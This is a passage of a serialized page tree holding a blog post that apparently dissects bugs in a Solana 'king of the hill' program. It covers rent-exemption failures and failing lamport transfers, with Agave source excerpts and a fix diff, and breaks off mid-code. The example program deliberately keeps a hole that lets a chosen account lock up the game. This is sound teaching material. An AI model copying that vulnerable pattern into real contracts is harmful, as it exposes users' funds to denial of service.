to_reimburse",{"type":23,"tag":75,"props":83229,"children":83230},{"style":94},[83231],{"type":29,"value":118},{"type":23,"tag":75,"props":83233,"children":83234},{"class":77,"line":4958},[83235,83239,83243],{"type":23,"tag":75,"props":83236,"children":83237},{"style":94},[83238],{"type":29,"value":83043},{"type":23,"tag":75,"props":83240,"children":83241},{"style":209},[83242],{"type":29,"value":1225},{"type":23,"tag":75,"props":83244,"children":83245},{"style":94},[83246],{"type":29,"value":245},{"type":23,"tag":75,"props":83248,"children":83249},{"class":77,"line":4967},[83250],{"type":23,"tag":75,"props":83251,"children":83252},{"emptyLinePlaceholder":15},[83253],{"type":29,"value":276},{"type":23,"tag":75,"props":83255,"children":83256},{"class":77,"line":4975},[83257],{"type":23,"tag":75,"props":83258,"children":83259},{"style":3621},[83260],{"type":29,"value":83261},"        // Set new king\n",{"type":23,"tag":75,"props":83263,"children":83264},{"class":77,"line":5016},[83265,83269,83273,83277,83281,83285,83289,83294,83298,83302,83306,83310,83314,83319,83323,83327],{"type":23,"tag":75,"props":83266,"children":83267},{"style":110},[83268],{"type":29,"value":1698},{"type":23,"tag":75,"props":83270,"children":83271},{"style":209},[83272],{"type":29,"value":557},{"type":23,"tag":75,"props":83274,"children":83275},{"style":94},[83276],{"type":29,"value":25911},{"type":23,"tag":75,"props":83278,"children":83279},{"style":209},[83280],{"type":29,"value":557},{"type":23,"tag":75,"props":83282,"children":83283},{"style":94},[83284],{"type":29,"value":82922},{"type":23,"tag":75,"props":83286,"children":83287},{"style":209},[83288],{"type":29,"value":557},{"type":23,"tag":75,"props":83290,"children":83291},{"style":94},[83292],{"type":29,"value":83293},"king ",{"type":23,"tag":75,"props":83295,"children":83296},{"style":209},[83297],{"type":29,"value":212},{"type":23,"tag":75,"props":83299,"children":83300},{"style":110},[83301],{"type":29,"value":3142},{"type":23,"tag":75,"props":83303,"children":83304},{"style":209},[83305],{"type":29,"value":557},{"type":23,"tag":75,"props":83307,"children":83308},{"style":94},[83309],{"type":29,"value":25911},{"type":23,"tag":75,"props":83311,"children":83312},{"style":209},[83313],{"type":29,"value":557},{"type":23,"tag":75,"props":83315,"children":83316},{"style":94},[83317],{"type":29,"value":83318},"new_king",{"type":23,"tag":75,"props":83320,"children":83321},{"style":209},[83322],{"type":29,"value":557},{"type":23,"tag":75,"props":83324,"children":83325},{"style":88},[83326],{"type":29,"value":1779},{"type":23,"tag":75,"props":83328,"children":83329},{"style":94},[83330],{"type":29,"value":14944},{"type":23,"tag":75,"props":83332,"children":83333},{"class":77,"line":5025},[83334,83338,83342,83346,83350,83354,83358,83362,83366,83371],{"type":23,"tag":75,"props":83335,"children":83336},{"style":110},[83337],{"type":29,"value":1698},{"type":23,"tag":75,"props":83339,"children":83340},{"style":209},[83341],{"type":29,"value":557},{"type":23,"tag":75,"props":83343,"children":83344},{"style":94},[83345],{"type":29,"value":25911},{"type":23,"tag":75,"props":83347,"children":83348},{"style":209},[83349],{"type":29,"value":557},{"type":23,"tag":75,"props":83351,"children":83352},{"style":94},[83353],{"type":29,"value":82922},{"type":23,"tag":75,"props":83355,"children":83356},{"style":209},[83357],{"type":29,"value":557},{"type":23,"tag":75,"props":83359,"children":83360},{"style":94},[83361],{"type":29,"value":82931},{"type":23,"tag":75,"props":83363,"children":83364},{"style":209},[83365],{"type":29,"value":212},{"type":23,"tag":75,"props":83367,"children":83368},{"style":110},[83369],{"type":29,"value":83370}," bid_amount",{"type":23,"tag":75,"props":83372,"children":83373},{"style":94},[83374],{"type":29,"value":245},{"type":23,"tag":75,"props":83376,"children":83377},{"class":77,"line":5033},[83378,83382,83386,83390,83394,83398,83402,83407,83411,83416,83420,83424,83428,83432,83437,83441,83445],{"type":23,"tag":75,"props":83379,"children":83380},{"style":110},[83381],{"type":29,"value":1698},{"type":23,"tag":75,"props":83383,"children":83384},{"style":209},[83385],{"type":29,"value":557},{"type":23,"tag":75,"props":83387,"children":83388},{"style":94},[83389],{"type":29,"value":25911},{"type":23,"tag":75,"props":83391,"children":83392},{"style":209},[83393],{"type":29,"value":557},{"type":23,"tag":75,"props":83395,"children":83396},{"style":94},[83397],{"type":29,"value":82922},{"type":23,"tag":75,"props":83399,"children":83400},{"style":209},[83401],{"type":29,"value":557},{"type":23,"tag":75,"props":83403,"children":83404},{"style":94},[83405],{"type":29,"value":83406},"last_time ",{"type":23,"tag":75,"props":83408,"children":83409},{"style":209},[83410],{"type":29,"value":212},{"type":23,"tag":75,"props":83412,"children":83413},{"style":104},[83414],{"type":29,"value":83415}," Clock",{"type":23,"tag":75,"props":83417,"children":83418},{"style":209},[83419],{"type":29,"value":1407},{"type":23,"tag":75,"props":83421,"children":83422},{"style":88},[83423],{"type":29,"value":27575},{"type":23,"tag":75,"props":83425,"children":83426},{"style":94},[83427],{"type":29,"value":1417},{"type":23,"tag":75,"props":83429,"children":83430},{"style":209},[83431],{"type":29,"value":14418},{"type":23,"tag":75,"props":83433,"children":83434},{"style":94},[83435],{"type":29,"value":83436},"unix_timestamp ",{"type":23,"tag":75,"props":83438,"children":83439},{"style":82},[83440],{"type":29,"value":20097},{"type":23,"tag":75,"props":83442,"children":83443},{"style":104},[83444],{"type":29,"value":17129},{"type":23,"tag":75,"props":83446,"children":83447},{"style":94},[83448],{"type":29,"value":245},{"type":23,"tag":75,"props":83450,"children":83451},{"class":77,"line":5041},[83452],{"type":23,"tag":75,"props":83453,"children":83454},{"emptyLinePlaceholder":15},[83455],{"type":29,"value":276},{"type":23,"tag":75,"props":83457,"children":83458},{"class":77,"line":5050},[83459,83463],{"type":23,"tag":75,"props":83460,"children":83461},{"style":104},[83462],{"type":29,"value":26047},{"type":23,"tag":75,"props":83464,"children":83465},{"style":94},[83466],{"type":29,"value":25574},{"type":23,"tag":75,"props":83468,"children":83469},{"class":77,"line":5058},[83470],{"type":23,"tag":75,"props":83471,"children":83472},{"style":94},[83473],{"type":29,"value":346},{"type":23,"tag":75,"props":83475,"children":83476},{"class":77,"line":5083},[83477],{"type":23,"tag":75,"props":83478,"children":83479},{"style":94},[83480],{"type":29,"value":369},{"type":23,"tag":32,"props":83482,"children":83483},{},[83484],{"type":29,"value":83485},"Note this comment:",{"type":23,"tag":1829,"props":83487,"children":83488},{},[83489],{"type":23,"tag":32,"props":83490,"children":83491},{},[83492],{"type":29,"value":83493},"any writable account is allowed as a new king.",{"type":23,"tag":32,"props":83495,"children":83496},{},[83497],{"type":29,"value":83498},"...Is our assumption correct?",{"type":23,"tag":24,"props":83500,"children":83502},{"id":83501},"the-bugs-lurking-beneath",[83503],{"type":29,"value":83504},"The Bugs Lurking Beneath",{"type":23,"tag":923,"props":83506,"children":83508},{"id":83507},"bug-1-the-rent-exemption-trap",[83509],{"type":29,"value":83510},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":32,"props":83512,"children":83513},{},[83514,83516,83521],{"type":29,"value":83515},"On Solana, all accounts must maintain a ",{"type":23,"tag":16596,"props":83517,"children":83518},{},[83519],{"type":29,"value":83520},"minimum balance",{"type":29,"value":83522}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":27910,"props":83524,"children":83525},{},[83526,83541],{"type":23,"tag":2801,"props":83527,"children":83528},{},[83529,83534,83535],{"type":23,"tag":16596,"props":83530,"children":83531},{},[83532],{"type":29,"value":83533},"Uninitialized",{"type":29,"value":863},{"type":23,"tag":71,"props":83536,"children":83538},{"className":83537},[],[83539],{"type":29,"value":83540},"lamports = 0",{"type":23,"tag":2801,"props":83542,"children":83543},{},[83544,83549,83550],{"type":23,"tag":16596,"props":83545,"children":83546},{},[83547],{"type":29,"value":83548},"Initialized",{"type":29,"value":863},{"type":23,"tag":71,"props":83551,"children":83553},{"className":83552},[],[83554],{"type":29,"value":83555},"lamports >= rent-exempt threshold",{"type":23,"tag":32,"props":83557,"children":83558},{},[83559,83561,83566],{"type":29,"value":83560},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":16596,"props":83562,"children":83563},{},[83564],{"type":29,"value":83565},"account metadata",{"type":29,"value":83567}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":32,"props":83569,"children":83570},{},[83571,83573,83579],{"type":29,"value":83572},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":71,"props":83574,"children":83576},{"className":83575},[],[83577],{"type":29,"value":83578},"data.len() == 0",{"type":29,"value":83580}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":32,"props":83582,"children":83583},{},[83584,83586,83592],{"type":29,"value":83585},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":940,"props":83587,"children":83590},{"href":83588,"rel":83589},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[944],[83591],{"type":29,"value":2244},{"type":29,"value":557},{"type":23,"tag":64,"props":83594,"children":83596},{"className":987,"code":83595,"language":986,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[83597],{"type":23,"tag":71,"props":83598,"children":83599},{"__ignoreMap":7},[83600,83684,83701,83747,83767,83788,83809,83824,83841,83885,83904,83925,83946,83962,83970,84003,84010,84017,84024,84031],{"type":23,"tag":75,"props":83601,"children":83602},{"class":77,"line":78},[83603,83608,83613,83617,83621,83625,83629,83634,83638,83642,83647,83651,83656,83660,83664,83668,83672,83676,83680],{"type":23,"tag":75,"props":83604,"children":83605},{"style":82},[83606],{"type":29,"value":83607},"    fn",{"type":23,"tag":75,"props":83609,"children":83610},{"style":88},[83611],{"type":29,"value":83612}," transition_allowed",{"type":23,"tag":75,"props":83614,"children":83615},{"style":94},[83616],{"type":29,"value":643},{"type":23,"tag":75,"props":83618,"children":83619},{"style":209},[83620],{"type":29,"value":1277},{"type":23,"tag":75,"props":83622,"children":83623},{"style":82},[83624],{"type":29,"value":24956},{"type":23,"tag":75,"props":83626,"children":83627},{"style":94},[83628],{"type":29,"value":611},{"type":23,"tag":75,"props":83630,"children":83631},{"style":110},[83632],{"type":29,"value":83633},"pre_rent_state",{"type":23,"tag":75,"props":83635,"children":83636},{"style":209},[83637],{"type":29,"value":1018},{"type":23,"tag":75,"props":83639,"children":83640},{"style":209},[83641],{"type":29,"value":844},{"type":23,"tag":75,"props":83643,"children":83644},{"style":104},[83645],{"type":29,"value":83646},"RentState",{"type":23,"tag":75,"props":83648,"children":83649},{"style":94},[83650],{"type":29,"value":611},{"type":23,"tag":75,"props":83652,"children":83653},{"style":110},[83654],{"type":29,"value":83655},"post_rent_state",{"type":23,"tag":75,"props":83657,"children":83658},{"style":209},[83659],{"type":29,"value":1018},{"type":23,"tag":75,"props":83661,"children":83662},{"style":209},[83663],{"type":29,"value":844},{"type":23,"tag":75,"props":83665,"children":83666},{"style":104},[83667],{"type":29,"value":83646},{"type":23,"tag":75,"props":83669,"children":83670},{"style":94},[83671],{"type":29,"value":167},{"type":23,"tag":75,"props":83673,"children":83674},{"style":209},[83675],{"type":29,"value":1156},{"type":23,"tag":75,"props":83677,"children":83678},{"style":104},[83679],{"type":29,"value":3001},{"type":23,"tag":75,"props":83681,"children":83682},{"style":94},[83683],{"type":29,"value":401},{"type":23,"tag":75,"props":83685,"children":83686},{"class":77,"line":100},[83687,83692,83697],{"type":23,"tag":75,"props":83688,"children":83689},{"style":175},[83690],{"type":29,"value":83691},"        match",{"type":23,"tag":75,"props":83693,"children":83694},{"style":110},[83695],{"type":29,"value":83696}," post_rent_state",{"type":23,"tag":75,"props":83698,"children":83699},{"style":94},[83700],{"type":29,"value":401},{"type":23,"tag":75,"props":83702,"children":83703},{"class":77,"line":121},[83704,83709,83713,83717,83721,83726,83730,83735,83739,83743],{"type":23,"tag":75,"props":83705,"children":83706},{"style":104},[83707],{"type":29,"value":83708},"            RentState",{"type":23,"tag":75,"props":83710,"children":83711},{"style":209},[83712],{"type":29,"value":1407},{"type":23,"tag":75,"props":83714,"children":83715},{"style":104},[83716],{"type":29,"value":83533},{"type":23,"tag":75,"props":83718,"children":83719},{"style":209},[83720],{"type":29,"value":15544},{"type":23,"tag":75,"props":83722,"children":83723},{"style":104},[83724],{"type":29,"value":83725}," RentState",{"type":23,"tag":75,"props":83727,"children":83728},{"style":209},[83729],{"type":29,"value":1407},{"type":23,"tag":75,"props":83731,"children":83732},{"style":104},[83733],{"type":29,"value":83734},"RentExempt",{"type":23,"tag":75,"props":83736,"children":83737},{"style":209},[83738],{"type":29,"value":38951},{"type":23,"tag":75,"props":83740,"children":83741},{"style":82},[83742],{"type":29,"value":23713},{"type":23,"tag":75,"props":83744,"children":83745},{"style":94},[83746],{"type":29,"value":118},{"type":23,"tag":75,"props":83748,"children":83749},{"class":77,"line":138},[83750,83754,83758,83763],{"type":23,"tag":75,"props":83751,"children":83752},{"style":104},[83753],{"type":29,"value":83708},{"type":23,"tag":75,"props":83755,"children":83756},{"style":209},[83757],{"type":29,"value":1407},{"type":23,"tag":75,"props":83759,"children":83760},{"style":104},[83761],{"type":29,"value":83762},"RentPaying",{"type":23,"tag":75,"props":83764,"children":83765},{"style":94},[83766],{"type":29,"value":401},{"type":23,"tag":75,"props":83768,"children":83769},{"class":77,"line":161},[83770,83775,83779,83784],{"type":23,"tag":75,"props":83771,"children":83772},{"style":110},[83773],{"type":29,"value":83774},"                data_size",{"type":23,"tag":75,"props":83776,"children":83777},{"style":209},[83778],{"type":29,"value":1018},{"type":23,"tag":75,"props":83780,"children":83781},{"style":110},[83782],{"type":29,"value":83783}," post_data_size",{"type":23,"tag":75,"props":83785,"children":83786},{"style":94},[83787],{"type":29,"value":118},{"type":23,"tag":75,"props":83789,"children":83790},{"class":77,"line":196},[83791,83796,83800,83805],{"type":23,"tag":75,"props":83792,"children":83793},{"style":110},[83794],{"type":29,"value":83795},"                lamports",{"type":23,"tag":75,"props":83797,"children":83798},{"style":209},[83799],{"type":29,"value":1018},{"type":23,"tag":75,"props":83801,"children":83802},{"style":110},[83803],{"type":29,"value":83804}," post_lamports",{"type":23,"tag":75,"props":83806,"children":83807},{"style":94},[83808],{"type":29,"value":118},{"type":23,"tag":75,"props":83810,"children":83811},{"class":77,"line":220},[83812,83816,83820],{"type":23,"tag":75,"props":83813,"children":83814},{"style":94},[83815],{"type":29,"value":81766},{"type":23,"tag":75,"props":83817,"children":83818},{"style":209},[83819],{"type":29,"value":26057},{"type":23,"tag":75,"props":83821,"children":83822},{"style":94},[83823],{"type":29,"value":401},{"type":23,"tag":75,"props":83825,"children":83826},{"class":77,"line":248},[83827,83832,83837],{"type":23,"tag":75,"props":83828,"children":83829},{"style":175},[83830],{"type":29,"value":83831},"                match",{"type":23,"tag":75,"props":83833,"children":83834},{"style":110},[83835],{"type":29,"value":83836}," pre_rent_state",{"type":23,"tag":75,"props":83838,"children":83839},{"style":94},[83840],{"type":29,"value":401},{"type":23,"tag":75,"props":83842,"children":83843},{"class":77,"line":270},[83844,83849,83853,83857,83861,83865,83869,83873,83877,83881],{"type":23,"tag":75,"props":83845,"children":83846},{"style":104},[83847],{"type":29,"value":83848},"                    RentState",{"type":23,"tag":75,"props":83850,"children":83851},{"style":209},[83852],{"type":29,"value":1407},{"type":23,"tag":75,"props":83854,"children":83855},{"style":104},[83856],{"type":29,"value":83533},{"type":23,"tag":75,"props":83858,"children":83859},{"style":209},[83860],{"type":29,"value":15544},{"type":23,"tag":75,"props":83862,"children":83863},{"style":104},[83864],{"type":29,"value":83725},{"type":23,"tag":75,"props":83866,"children":83867},{"style":209},[83868],{"type":29,"value":1407},{"type":23,"tag":75,"props":83870,"children":83871},{"style":104},[83872],{"type":29,"value":83734},{"type":23,"tag":75,"props":83874,"children":83875},{"style":209},[83876],{"type":29,"value":38951},{"type":23,"tag":75,"props":83878,"children":83879},{"style":82},[83880],{"type":29,"value":20313},{"type":23,"tag":75,"props":83882,"children":83883},{"style":94},[83884],{"type":29,"value":118},{"type":23,"tag":75,"props":83886,"children":83887},{"class":77,"line":279},[83888,83892,83896,83900],{"type":23,"tag":75,"props":83889,"children":83890},{"style":104},[83891],{"type":29,"value":83848},{"type":23,"tag":75,"props":83893,"children":83894},{"style":209},[83895],{"type":29,"value":1407},{"type":23,"tag":75,"props":83897,"children":83898},{"style":104},[83899],{"type":29,"value":83762},{"type":23,"tag":75,"props":83901,"children":83902},{"style":94},[83903],{"type":29,"value":401},{"type":23,"tag":75,"props":83905,"children":83906},{"class":77,"line":303},[83907,83912,83916,83921],{"type":23,"tag":75,"props":83908,"children":83909},{"style":110},[83910],{"type":29,"value":83911},"                        data_size",{"type":23,"tag":75,"props":83913,"children":83914},{"style":209},[83915],{"type":29,"value":1018},{"type":23,"tag":75,"props":83917,"children":83918},{"style":110},[83919],{"type":29,"value":83920}," pre_data_size",{"type":23,"tag":75,"props":83922,"children":83923},{"style":94},[83924],{"type":29,"value":118},{"type":23,"tag":75,"props":83926,"children":83927},{"class":77,"line":322},[83928,83933,83937,83942],{"type":23,"tag":75,"props":83929,"children":83930},{"style":110},[83931],{"type":29,"value":83932},"                        lamports",{"type":23,"tag":75,"props":83934,"children":83935},{"style":209},[83936],{"type":29,"value":1018},{"type":23,"tag":75,"props":83938,"children":83939},{"style":110},[83940],{"type":29,"value":83941}," pre_lamports",{"type":23,"tag":75,"props":83943,"children":83944},{"style":94},[83945],{"type":29,"value":118},{"type":23,"tag":75,"props":83947,"children":83948},{"class":77,"line":340},[83949,83954,83958],{"type":23,"tag":75,"props":83950,"children":83951},{"style":94},[83952],{"type":29,"value":83953},"                    } ",{"type":23,"tag":75,"props":83955,"children":83956},{"style":209},[83957],{"type":29,"value":26057},{"type":23,"tag":75,"props":83959,"children":83960},{"style":94},[83961],{"type":29,"value":401},{"type":23,"tag":75,"props":83963,"children":83964},{"class":77,"line":349},[83965],{"type":23,"tag":75,"props":83966,"children":83967},{"style":3621},[83968],{"type":29,"value":83969},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":75,"props":83971,"children":83972},{"class":77,"line":363},[83973,83978,83982,83986,83990,83994,83998],{"type":23,"tag":75,"props":83974,"children":83975},{"style":110},[83976],{"type":29,"value":83977},"                        post_data_size",{"type":23,"tag":75,"props":83979,"children":83980},{"style":209},[83981],{"type":29,"value":1372},{"type":23,"tag":75,"props":83983,"children":83984},{"style":110},[83985],{"type":29,"value":83920},{"type":23,"tag":75,"props":83987,"children":83988},{"style":209},[83989],{"type":29,"value":7889},{"type":23,"tag":75,"props":83991,"children":83992},{"style":110},[83993],{"type":29,"value":83804},{"type":23,"tag":75,"props":83995,"children":83996},{"style":209},[83997],{"type":29,"value":19456},{"type":23,"tag":75,"props":83999,"children":84000},{"style":110},[84001],{"type":29,"value":84002}," pre_lamports\n",{"type":23,"tag":75,"props":84004,"children":84005},{"class":77,"line":656},[84006],{"type":23,"tag":75,"props":84007,"children":84008},{"style":94},[84009],{"type":29,"value":82235},{"type":23,"tag":75,"props":84011,"children":84012},{"class":77,"line":705},[84013],{"type":23,"tag":75,"props":84014,"children":84015},{"style":94},[84016],{"type":29,"value":4964},{"type":23,"tag":75,"props":84018,"children":84019},{"class":77,"line":787},[84020],{"type":23,"tag":75,"props":84021,"children":84022},{"style":94},[84023],{"type":29,"value":5022},{"type":23,"tag":75,"props":84025,"children":84026},{"class":77,"line":826},[84027],{"type":23,"tag":75,"props":84028,"children":84029},{"style":94},[84030],{"type":29,"value":2503},{"type":23,"tag":75,"props":84032,"children":84033},{"class":77,"line":834},[84034],{"type":23,"tag":75,"props":84035,"children":84036},{"style":94},[84037],{"type":29,"value":346},{"type":23,"tag":32,"props":84039,"children":84040},{},[84041],{"type":29,"value":84042},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":64,"props":84044,"children":84046},{"className":15518,"code":84045,"language":15517,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[84047],{"type":23,"tag":71,"props":84048,"children":84049},{"__ignoreMap":7},[84050,84066],{"type":23,"tag":75,"props":84051,"children":84052},{"class":77,"line":78},[84053,84057,84062],{"type":23,"tag":75,"props":84054,"children":84055},{"style":88},[84056],{"type":29,"value":14174},{"type":23,"tag":75,"props":84058,"children":84059},{"style":1266},[84060],{"type":29,"value":84061}," rent",{"type":23,"tag":75,"props":84063,"children":84064},{"style":237},[84065],{"type":29,"value":35483},{"type":23,"tag":75,"props":84067,"children":84068},{"class":77,"line":100},[84069,84074,84079,84084],{"type":23,"tag":75,"props":84070,"children":84071},{"style":88},[84072],{"type":29,"value":84073},"Rent-exempt",{"type":23,"tag":75,"props":84075,"children":84076},{"style":1266},[84077],{"type":29,"value":84078}," minimum:",{"type":23,"tag":75,"props":84080,"children":84081},{"style":237},[84082],{"type":29,"value":84083}," 0.00089088",{"type":23,"tag":75,"props":84085,"children":84086},{"style":1266},[84087],{"type":29,"value":84088}," SOL\n",{"type":23,"tag":30116,"props":84090,"children":84092},{"id":84091},"fix-1-only-reimburse-if-rent-exempt",[84093],{"type":29,"value":84094},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":32,"props":84096,"children":84097},{},[84098],{"type":29,"value":84099},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":64,"props":84101,"children":84103},{"className":51550,"code":84102,"language":51552,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[84104],{"type":23,"tag":71,"props":84105,"children":84106},{"__ignoreMap":7},[84107,84115,84123,84131,84139,84147,84155,84163,84171,84179],{"type":23,"tag":75,"props":84108,"children":84109},{"class":77,"line":78},[84110],{"type":23,"tag":75,"props":84111,"children":84112},{"style":94},[84113],{"type":29,"value":84114},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":75,"props":84116,"children":84117},{"class":77,"line":100},[84118],{"type":23,"tag":75,"props":84119,"children":84120},{"style":237},[84121],{"type":29,"value":84122},"+let rent = Rent::get()?;\n",{"type":23,"tag":75,"props":84124,"children":84125},{"class":77,"line":121},[84126],{"type":23,"tag":75,"props":84127,"children":84128},{"style":237},[84129],{"type":29,"value":84130},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":75,"props":84132,"children":84133},{"class":77,"line":138},[84134],{"type":23,"tag":75,"props":84135,"children":84136},{"style":237},[84137],{"type":29,"value":84138},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":75,"props":84140,"children":84141},{"class":77,"line":161},[84142],{"type":23,"tag":75,"props":84143,"children":84144},{"style":94},[84145],{"type":29,"value":84146},"    transfer_from_pda(\n",{"type":23,"tag":75,"props":84148,"children":84149},{"class":77,"line":196},[84150],{"type":23,"tag":75,"props":84151,"children":84152},{"style":94},[84153],{"type":29,"value":84154},"        &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":75,"props":84156,"children":84157},{"class":77,"line":220},[84158],{"type":23,"tag":75,"props":84159,"children":84160},{"style":94},[84161],{"type":29,"value":84162},"        &ctx.accounts.old_king,\n",{"type":23,"tag":75,"props":84164,"children":84165},{"class":77,"line":248},[84166],{"type":23,"tag":75,"props":84167,"children":84168},{"style":94},[84169],{"type":29,"value":84170},"        to_reimburse,\n",{"type":23,"tag":75,"props":84172,"children":84173},{"class":77,"line":270},[84174],{"type":23,"tag":75,"props":84175,"children":84176},{"style":94},[84177],{"type":29,"value":84178},"    )?;\n",{"type":23,"tag":75,"props":84180,"children":84181},{"class":77,"line":279},[84182],{"type":23,"tag":75,"props":84183,"children":84184},{"style":237},[84185],{"type":29,"value":84186},"+}\n",{"type":23,"tag":32,"props":84188,"children":84189},{},[84190],{"type":29,"value":84191},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":23,"tag":923,"props":84193,"children":84195},{"id":84194},"bug-2-writable-but-untouchable-set_lamports-fails",[84196,84198,84204],{"type":29,"value":84197},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":71,"props":84199,"children":84201},{"className":84200},[],[84202],{"type":29,"value":84203},"set_lamports",{"type":29,"value":84205}," Fails",{"type":23,"tag":32,"props":84207,"children":84208},{},[84209,84211,84218],{"type":29,"value":84210},"Let's look at ",{"type":23,"tag":940,"props":84212,"children":84215},{"href":84213,"rel":84214},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[944],[84216],{"type":29,"value":84217},"BorrowedAccount::set_lamports",{"type":29,"value":557},{"type":23,"tag":64,"props":84220,"children":84222},{"className":987,"code":84221,"language":986,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[84223],{"type":23,"tag":71,"props":84224,"children":84225},{"__ignoreMap":7},[84226,84234,84255,84327,84335,84394,84426,84433,84441,84469,84501,84508,84516,84540,84572,84579,84587,84622,84638,84645,84673,84708,84719,84726,84733,84741,84760,84768,84808,84820,84832,84844,84875],{"type":23,"tag":75,"props":84227,"children":84228},{"class":77,"line":78},[84229],{"type":23,"tag":75,"props":84230,"children":84231},{"style":3621},[84232],{"type":29,"value":84233},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":75,"props":84235,"children":84236},{"class":77,"line":100},[84237,84242,84246,84251],{"type":23,"tag":75,"props":84238,"children":84239},{"style":94},[84240],{"type":29,"value":84241},"#[cfg(not(target_os ",{"type":23,"tag":75,"props":84243,"children":84244},{"style":209},[84245],{"type":29,"value":212},{"type":23,"tag":75,"props":84247,"children":84248},{"style":1266},[84249],{"type":29,"value":84250}," \"solana\"",{"type":23,"tag":75,"props":84252,"children":84253},{"style":94},[84254],{"type":29,"value":31827},{"type":23,"tag":75,"props":84256,"children":84257},{"class":77,"line":121},[84258,84262,84266,84271,84275,84279,84283,84287,84291,84295,84299,84303,84307,84311,84315,84319,84323],{"type":23,"tag":75,"props":84259,"children":84260},{"style":82},[84261],{"type":29,"value":24933},{"type":23,"tag":75,"props":84263,"children":84264},{"style":82},[84265],{"type":29,"value":24938},{"type":23,"tag":75,"props":84267,"children":84268},{"style":88},[84269],{"type":29,"value":84270}," set_lamports",{"type":23,"tag":75,"props":84272,"children":84273},{"style":94},[84274],{"type":29,"value":643},{"type":23,"tag":75,"props":84276,"children":84277},{"style":209},[84278],{"type":29,"value":1277},{"type":23,"tag":75,"props":84280,"children":84281},{"style":82},[84282],{"type":29,"value":14998},{"type":23,"tag":75,"props":84284,"children":84285},{"style":82},[84286],{"type":29,"value":25039},{"type":23,"tag":75,"props":84288,"children":84289},{"style":94},[84290],{"type":29,"value":611},{"type":23,"tag":75,"props":84292,"children":84293},{"style":110},[84294],{"type":29,"value":26739},{"type":23,"tag":75,"props":84296,"children":84297},{"style":209},[84298],{"type":29,"value":1018},{"type":23,"tag":75,"props":84300,"children":84301},{"style":104},[84302],{"type":29,"value":17129},{"type":23,"tag":75,"props":84304,"children":84305},{"style":94},[84306],{"type":29,"value":167},{"type":23,"tag":75,"props":84308,"children":84309},{"style":209},[84310],{"type":29,"value":1156},{"type":23,"tag":75,"props":84312,"children":84313},{"style":104},[84314],{"type":29,"value":25004},{"type":23,"tag":75,"props":84316,"children":84317},{"style":94},[84318],{"type":29,"value":25009},{"type":23,"tag":75,"props":84320,"children":84321},{"style":104},[84322],{"type":29,"value":26983},{"type":23,"tag":75,"props":84324,"children":84325},{"style":94},[84326],{"type":29,"value":1175},{"type":23,"tag":75,"props":84328,"children":84329},{"class":77,"line":138},[84330],{"type":23,"tag":75,"props":84331,"children":84332},{"style":3621},[84333],{"type":29,"value":84334},"    // An account not owned by the program cannot have its balance 